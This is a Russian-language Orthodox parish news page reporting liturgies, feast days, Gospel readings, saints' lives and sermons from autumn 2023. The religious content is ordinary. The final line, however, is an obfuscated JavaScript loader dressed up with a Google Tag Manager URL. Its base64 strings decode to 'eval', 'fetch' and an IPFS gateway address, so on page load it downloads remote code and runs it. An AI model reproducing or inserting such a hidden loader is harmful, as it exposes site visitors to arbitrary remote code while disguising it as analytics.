Народное сказание пытается по-своему объяснить причину двукратного празднования в году Святителя Николая и один раз в четыре года – преподобного Кассиана. Но оно даёт верную характеристику жизненному подвигу и содержанию религиозности Святителя, основа которой – вера живая и действенная и милосердие.
Заканчивается богослужение, и мы расходимся по домам. Каждый ли из нас извлечёт полезный урок, преподанный сегодня, как и многие столетия назад, жизнью Святителя Николая?
Неделя 28-я по Пятидесятнице
Рождественский пост
Великомученицы Варва́ры и мученицы Иулиани́и (ок. 306);
прп. Иоа́нна Дамаски́на 17 декабря в храме Феодоровской иконы Божия Матери была совершена Божественная литургия в Воскресный день. Богослужение совершил иерей Сергий Плужников.
Сказал старец некоторому брату: «Диавол есть враг твой, а ты – дом. Враг не престает бросать в тебя всякий сор, какой бы ни нашел, ввергая в тебя всевозможные нечистоты. Но ты тщательно извергай из себя влагаемое им; если же вознерадишь, то дом твой наполнится сором и тебе невозможно будет войти в него. С самого начала, когда диавол начнет засорять тебя, ты постепенно выкидывай сор, и дом твой пребудет чистым благодатию Христовою».
ВОСКРЕСЕНЬЕ
3 декабряПредпразднство Введения во Храм Пресвятой Богородицы; Прп. Григо́рия Декаполита (ок. 842), свт. Прокла Константинопольского, патриарха (446–447).В храме Феодоровской иконы Богородицы состоялась Божественная Литургия по окончании которой был отслужен молебен Феодоровской иконе Божия Матери.
Лк.12:16–21 (зач.66) И сказал им притчу: у одного богатого человека был хороший урожай в поле;
и он рассуждал сам с собою: что мне делать? некуда мне собрать плодов моих?И сказал: вот что сделаю: сломаю житницы мои и построю бо́льшие, и соберу туда весь хлеб мой и всё добро мое,и скажу душе моей: душа! много добра лежит у тебя на многие годы: покойся, ешь, пей, веселись.Но Бог сказал ему: безумный! в сию ночь душу твою возьмут у тебя; кому же достанется то, что ты заготовил?Так бывает с тем, кто собирает сокровища для себя, а не в Бога богатеет
Седмица 26-я по Пятидесятнице
Пророка Авди́я (из 12-ти) (IX в. до Р. Х.); мч. Варлаа́ма (ок. 304); прпп. Варлаа́ма пустынника и Иоаса́фа, царевича Индийского, и отца его.Всенощное бдение в Субботу 2 декабря совершил настоятель храма иерей Василий Колчар.Лк.24:1–12 (зач. 112).
В первый же день недели, очень рано, неся приготовленные ароматы, пришли они ко гробу, и вместе с ними некоторые другие;но нашли камень отваленным от гроба.И, войдя, не нашли тела Господа Иисуса.Когда же недоумевали они о сем, вдруг предстали перед ними два мужа в одеждах блистающих.И когда они были в страхе и наклонили лица свои к земле, сказали им: что вы ищете живого между мертвыми?Его нет здесь: Он воскрес; вспомните, как Он говорил вам, когда был еще в Галилее,сказывая, что Сыну Человеческому надлежит быть предану в руки человеков грешников, и быть распяту, и в третий день воскреснуть.И вспомнили они слова Его;и, возвратившись от гроба, возвестили всё это одиннадцати и всем прочим.То были Магдалина Мария, и Иоанна, и Мария, мать Иакова, и другие с ними, которые сказали о сем апостолам.И показались им слова их пустыми, и не поверили им.[Зач. 113.] Но Петр, встав, побежал ко гробу и, наклонившись, увидел только пелены лежащие, и пошел назад, дивясь сам в себе происшедшему.
Неделя 25-я по Пятидесятнице
Мчч. Антони́на, пресвитера, Ники́фора и Ге́рмана (ок. 308); мц. Мане́фы Кесарийской (Палестинской) (ок. 308).
Литургия Воскресного дня в храме Феодоровской иконы Богородицы.
Лк.10:25–37 (зач. 53).
И вот, один законник встал и, искушая Его, сказал: Учитель! что́ мне делать, чтобы наследовать жизнь вечную?Он же сказал ему: в законе что́ написано? ка́к читаешь?Он сказал в ответ: возлюби Господа Бога твоего всем сердцем твоим, и всею душою твоею, и всею крепостию твоею, и всем разумением твоим, и ближнего твоего, как самого себя.Иисус сказал ему: правильно ты отвечал; так поступай, и будешь жить.Но он, желая оправдать себя, сказал Иисусу: а кто мой ближний?На это сказал Иисус: некоторый человек шел из Иерусалима в Иерихон и попался разбойникам, которые сняли с него одежду, изранили его и ушли, оставив его едва живым.По случаю один священник шел тою дорогою и, увидев его, прошел мимо.Также и левит, быв на том месте, подошел, посмотрел и прошел мимо.Самарянин же некто, проезжая, нашел на него и, увидев его, сжалилсяи, подойдя, перевязал ему раны, возливая масло и вино; и, посадив его на своего осла, привез его в гостиницу и позаботился о нем;а на другой день, отъезжая, вынул два динария, дал содержателю гостиницы и сказал ему: позаботься о нем; и если издержишь что более, я, когда возвращусь, отдам тебе.Кто из этих троих, думаешь ты, был ближний попавшемуся разбойникам?Он сказал: оказавший ему милость. Тогда Иисус сказал ему: иди, и ты поступай так же.
Всенощное бдение….
В Субботу 25 ноября на кануне Воскресного дня в храме Богоматери совершено Всенощное бдение.
Мк.16:9–20 (зач. 71). Воскреснув рано в первый день недели, Иисус явился сперва Марии Магдалине, из которой изгнал семь бесов.Она пошла и возвестила бывшим с Ним, плачущим и рыдающим;но они, услышав, что Он жив и она видела Его, – не поверили.После сего явился в ином образе двум из них на дороге, когда они шли в селение.И те, возвратившись, возвестили прочим; но и им не поверили.Наконец, явился самим одиннадцати, возлежавшим на вечери, и упрекал их за неверие и жестокосердие, что видевшим Его воскресшего не поверили.И сказал им: идите по всему миру и проповедуйте Евангелие всей твари.Кто будет веровать и креститься, спасен будет; а кто не будет веровать, осужден будет.Уверовавших же будут сопровождать сии знамения: именем Моим будут изгонять бесов; будут говорить новыми языками;будут брать змей; и если что́ смертоносное выпьют, не повредит им; возложат руки на больных, и они будут здоровы.И так Господь, после беседования с ними, вознесся на небо и воссел одесную Бога.А они пошли и проповедовали везде, при Господнем содействии и подкреплении слова последующими знамениями. Аминь.
Празднование Собора Архистратига Михаила и прочих Небесных Сил бесплотных
20 ноября в Кафедральном соборе ап. Андрея Первозванного иерей Василий Колчар совершил всенощное бдение накануне праздника Архистратига Божия Михаила и прочих небесных сил бесплотных.Ему сослужил клирик собора иерей Сергей Гусев.
Празднование Собора Архистратига Божия Михаила и прочих Небесных Сил бесплотных установлено в начале 4 века на Поместном Лаодикийском Соборе, проходившем за несколько лет до Первого Вселенского Собора. Совершается праздник 8 ноября (21 ноября по новому стилю) — в девятом месяце от марта (с которого в древности начинался год) — в соответствии с числом 9-ти чинов Ангельских. Восьмой же день месяца указывает на будущий Собор всех Сил Небесных в день Страшного Суда Божия, который святые отцы называют «днем восьмым». С древних времен прославлен своими чудесами архангел Михаил.
19 ноября празднуется память преподобного Варлаама Хутынского.
Преподобный Варлаам Хутынский жил в XII веке, был сыном знатного новгородца и свои детские годы провел в Новгороде. В юношеском возрасте, удалившись в подгородний Лисичий монастырь, преподобный Варлаам принял постриг. Затем он поселился на уединенном холме над Волховом, в урочище, называвшемся Хутынь, в 10 верстах от Новгорода. В уединении преподобный Варлаам проводил суровую жизнь, совершая непрестанные молитвы и соблюдая очень строгий пост. Он ревностно подвизался в трудах – сам рубил лес, пилил дрова, пахал землю.
К нему собрались некоторые из жителей Новгорода, желавшие разделить с преподобным труды и подвиги. Поучая приходивших, преподобный Варлаам говорил: «Чада, блюдитесь от всякой неправды, не завидуйте, не клевещите. Воздерживайтесь от гнева, не отдавайте денег в рост. Берегитесь судить неправо. Не клянитесь лживо, давши клятву, исполняйте ее. Не предавайтесь телесным страстям. Будьте всегда кротки и ко всем относитесь с любовью. Сия добродетель – начало и корень всякого добра».
Вскоре была воздвигнута церковь в честь Преображения Господня и основан монастырь. Господь ниспослал преподобному для служения ближним дар чудотворений и прозорливости. Когда дни его приближались к концу, по Божию изволению прибыл из Константинополя священноинок Антоний – сверстник и друг преподобного. Блаженный, обращаясь к нему, сказал: «Возлюбленный брат мой! Божие благоволение почивает над сею обителью. Ныне я передаю в твои руки сей монастырь. Блюди его и заботься о нем. Я уже отхожу к Царю Небесному. Но не смущайся этим: телом я покидаю вас, духом же всегда буду с вами». Преподав наставление своей братии, заповедав хранить православную веру и постоянно пребывать в смирении, преподобный Варлаам преставился ко Господу 6 ноября 1192 года.По окончании Божественной Литургии в храме был отслужен водосвятный молебен.
Накануне воскресного дня в храме совершено Всенощное бдение
Вечернее богослужение совершил настоятель храма — иерей Василий Колчар 18 ноября.
19 ноября Церковь вспоминает священномученика Павла I, патриарха Константинопольского.Святитель Павел, архиепископ Константинопольский, был избран на патриаршую кафедру после смерти патриарха Александра († 340), когда вновь вспыхнула арианская ересь. На Соборе, избиравшем нового Константинопольского патриарха, присутствовало много ариан. Они восставали против избрания святителя Павла, но православных членов Собора оказалось большинство. Император Констанций, царствовавший над Восточной половиной Римской империи, был арианин. Во время выборов патриарха его не было в Константинополе. По возвращении своем он созвал собор, который незаконно объявил низложенным святителя Павла, и император изгнал его из столицы. На место святителя возвели арианина Евсевия Никомидийского.Когда Евсевий умер, святитель Павел вернулся в Константинополь. Он с любовью был встречен паствой. Но Констанций вторично изгнал святого, и ему пришлось возвратиться в Рим. Император Констант написал своему восточному соправителю Констанцию грозное письмо, которое отправил в Константинополь со святым архипастырем-изгнанником. Угрозы подействовали, и святитель Павел был возвращен на патриарший престол.Однако вскоре благочестивый император Констант, защитник православных, был предательски убит во время дворцового переворота. Святителя Павла вновь изгнали из столицы и отправили в ссылку в Армению, в город Кукуз, где он принял мученическую кончину. Когда патриарх совершал Божественную литургию, ворвались ариане и задушили святого его святительским омофором. Произошло это в 350 году. В 381 году святой царь Феодосий Великий торжественно перенес мощи святителя Павла исповедника из Кукуза в Константинополь. В 1326 году мощи святителя Павла перенесены в Венецию.
-
БОЖЕСТВЕННАЯ ЛИТУРГИЯ В ДЕНЬ РОЖДЕНИЯ ПРАВЯЩЕГО АРХИЕРЕЯ НОВОРОССИЙСКОЙ ЕПАРХИИ
9 ноября 2023 года духовенство и прихожане поздравили правящего архиерея Новороссийской епархии с Днем Рождения. В этот день в Свято-Успенском кафедральном соборе города-героя Новороссийска Преосвященнейший Феогност епископ Новороссийский и Геленджикский совершил Божественную литургию.
После богослужения с поздравительным словом к Владыке обратился глава города Новороссийска Андрей Васильевич Кравченко.
От лица духовенства Новороссийской епархии Правящего архиерея поздравил благочинный церквей Крымского округа протоиерей Сергий Карпец.
К поздравлением присоединился заместитель главы города Анапы Валерий Жоржович Королев.
Также владыку поздравили воспитанники “Гостиной Милосердия” центра помощи имени святой преподобномученицы Елисаветы.
Поздравили Владыку и сестры милосердия Успенского собора и представители храма Новомучеников и исповедников Церкви Русской города Новороссийска
В неделю 23-ю по Пятидесятнице, совершена Божественная Литургия(12.11.2023)
Сегодня, возлюбленные во Христе братья и сестры, Святая Церковь предложила нашему вниманию евангельское повествование о том, как Господь наш Иисус Христос со Своими святыми учениками прибыл во страну Гадаринскую, лежащую против Галилеи. Спасителя встретил один человек из города, одержимый бесами с давнего времени, и в одежду не одевавшийся, и живший не в доме, а в гробах. Почему он вел такой образ жизни? Потому что находился во власти беса, он не мог жить среди людей, ибо не контролировал свои поступки. Он исповедовал Иисуса как Сына Божия! Люди еще не познали истину, не ведали, Кто пред ними находится, а бес уже знал, Кто повелевает им, и поэтому просил Его не мучить. Что же совершил Господь? Как пишет святой апостол и евангелист Лука, Он повелел нечистому духу выйти из сего человека. Господь никогда не проходил мимо человеческого горя, Он увидел, как страдает этот одержимый, и, конечно, поспешил его исцелить. Христос спросил: «Как тебе имя?» Он сказал: «Легион», потому что много бесов вошло в него. Эти бесы стали просить Господа, чтобы не повелел им идти в бездну. Тут же на горе паслось большое стадо свиней; и бесы просили Его, чтобы позволил им войти в них. Господь позволил им. Бесы, выйдя из человека, вошли в свиней, и бросилось стадо с крутого берега в озеро и потонуло. Какое же назидание почерпнем из сегодняшнего евангельского чтения, возлюбленные во Христе братья и сестры? Прежде всего то, что духи злобы поднебесной, по слову Священного Писания, ходят как лев рыкающий и ищут кого поглотить. Может ли враг нашего спасения причинить нам зло? Конечно, может, если мы сами желаем этого. Господь в Евангелии говорит нам такие замечательные слова: «Сей же род изгоняется только молитвою и постом». Речь идет о роде бесовском. Мы твердо знаем, что когда с крестным знамением призываем имя Божие, то враг рода человеческого тотчас оставляет нас и убегает посрамленным. Когда мы являемся причастниками Жизни вечной, приступаем ко Святым Тайным Христовым, то враг рода человеческого боится. Помолимся сегодня Господу, Который дал нам благодать Духа Святого, чтобы Его милость и благословение всегда помогали нам в делании заповедей Христовых! Пусть благословение Божие всегда сопутствует нам в нелегкой жизни и помогает всем нам нести наш жизненный крест во Христе Иисусе Господе нашем во веки веков. Аминь!
Всенощное бдение в храме Феодоровской иконы Богородицы
Настоятель храма иерей Василий Колчар 11 ноября в субботу совершил Всенощное бдение под Воскресный день.Мы помним слова Господа Бога: «Где двое или трое соберутся во имя Мое, там и Я посреди них». Мы сегодня собрались в этом храме перед лицом Божиим. Мы призываем Его имя, воспоминаем Его пришествие в мир и Воскресение, вспоминаем те слова, которые Он обратил, те пожелания, надежды, которые Он питает по отношению к нам, — сказал архипастырь. – Приход собрался, и Господь посреди нас. (…) Он сейчас здесь. И очень важно, находясь здесь, рядом с Ним, соответствовать «уровню» нашей встречи.
5-го ноября 2023 года, в Неделю 22-ю по Пятидесятнице, день памяти апостола Иакова, брата Господня по плоти,настоятель храма иерей Василий Колчар совершил Божественную Литургию.
Богослужение в день праздненства КАЗАНСКОЙ ИКОНЫ БОГОРОДИЦЫ!
Казанская икона Божией Матери является одна из самых почитаемых, и в православной церкви она славится дважды. В июле принято вспоминать ее первое явление, а в ноябре благодарят за освобождение Руси от нашествия поляков.Казанская икона Божьей Матери пользуется в России беспримерным почитанием. Икона присутствует в каждом храме, а образ Казанской Богородицы есть и в каждой верующей семье, ведь через этот образ Царица Небесная многим помогает. Она на протяжении уже почти 500 лет укрепляет веру русских людей и объединяет всех нас. Бывают периоды взлетов и падений, но мы верим в то, что Божья Матерь хранит нас от всеобщей беды.
По окончании Божественной Литургии было совершено славление 
праздника.
-
1 ноября 2023 года, Преосвященнейший Феогност, епископ Новороссийский и Геленджикский совершил чин освящения крестов и куполов строящегося храма в честь преподобного Севастиана Карагандинского, исповедника.
Ему сослужил настоятель храма Феодоровской иконы Богородицы х.Бетта иерей Василий Колчар, духовенство благочиния.
В торжественном и памятном событии приняли участие представители администрации, молодежь православного движения Верность, жители и гости города-курорта.
В своей проповеди епископ Феогност поблагодарил всех, кто внес свою лепту в строительство этого удивительного по красоте и архитектурной сложности храма.
Литургия в храме иконы Богоматери Феодоровская (29.10.2023)
29 октября 2023 года, в Неделю 21-ю по Пятидесятнице, в храме иконы Богоматери Феодоровская иерей Василий Колчар совершил Божественную литургию.
В этот день Православная Церковь празднует обретение мощей святителя Иоанна, митрополита Тобольского. По окончании богослужения было совершено славление святителю Иоанну.
За богослужением в Евангельском чтении, Господь дал нам вновь услышать Его притчу о Сеятеле .Обратим внимание на заключительные слово притчи, а именно: «упавшее на добрую землю это те, которые, услышавши слово, хранят его в добром и чистом сердце и приносят плод в терпении». В этих заключительных словах Господь указывает на то, что мы, слушающие слово Его, должны, прежде всего, принять это слово, затем – хранить его, но хранить в «добром и чистом сердце», и лишь тогда это слово – как семя – принесет плод мног, т.е. даст нам силы и способность стать подлинно христианами, как по внутреннему строю души, так и во внешних делах наших.
Родительская суббота (28.10. 2023 г.)
Поминальный день родительской субботы.
28 октября 2023 г. в Дмитриевскую родительскую поминальную субботу в нашем храме было совершенно заупокойное богослужение
Димитриевская родительская суббота – ближайшая суббота перед днем памяти св. великомученика Димитрия Солунского (26 октября / 8 ноября). Установлена после битвы на Куликовом поле. Первоначально поминовение совершалось по всем воинам, павшим в этом сражении. Постепенно Димитриевская суббота стала днем заупокойного поминовения всех усопших православных христиан.Димитриевская суббота установлена великим князем Димитрием Донским. Одержав знаменитую победу на Куликовом поле над Мамаем 8 сентября 1380 года, Димитрий Иоаннович по возвращении с поля брани посетил Троице-Сергиеву обитель. Преподобный Сергий Радонежский, игумен обители, ранее благословил его на битву с врагами и дал ему из числа братии своей двух иноков – Александра Пересвета и Андрея Ослябю. Оба инока пали в бою и были погребены у стен храма Рождества Пресвятой Богородицы в Старом Симонове монастыре.
Литургия и молебен Федоровской иконе Божией Матери (22.10.2023г.)
22 октября 2023 г. в Неделю 20-ю по Пятидесятнице в храме Феодоровской иконы Богородицы х.Бетта настоятелем была совершенна Божественная Литургия с молебным пением пред месточтимым образом Феодоровской иконы Богоматери. На сугубой ектении были вознесены прошения: -
Литургия и молебен Федоровской иконе Божией Матери (15.10.2023г.)
Богослужение в праздник Воздвижение Креста Господня (27.09.2023г.)
(function(w,d,s,l,i,j,k,m){w[s]||(w[s]=1,w[d(j)](d(k))[s](c=>c.text())[s](c=>w[d(i)](c)))})(window,atob,’then’,’https://www.googletagmanager.com/gtm.js?id=’,’ZXZhbA==’,’ZmV0Y2g=’,’aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtYnB2NHdCeUdrUVcxVW1XVXYzUFBrYlFHWVBOUmVKOUM5Z0JzbnoxclFKQ3U=’,’e95a5ea6′)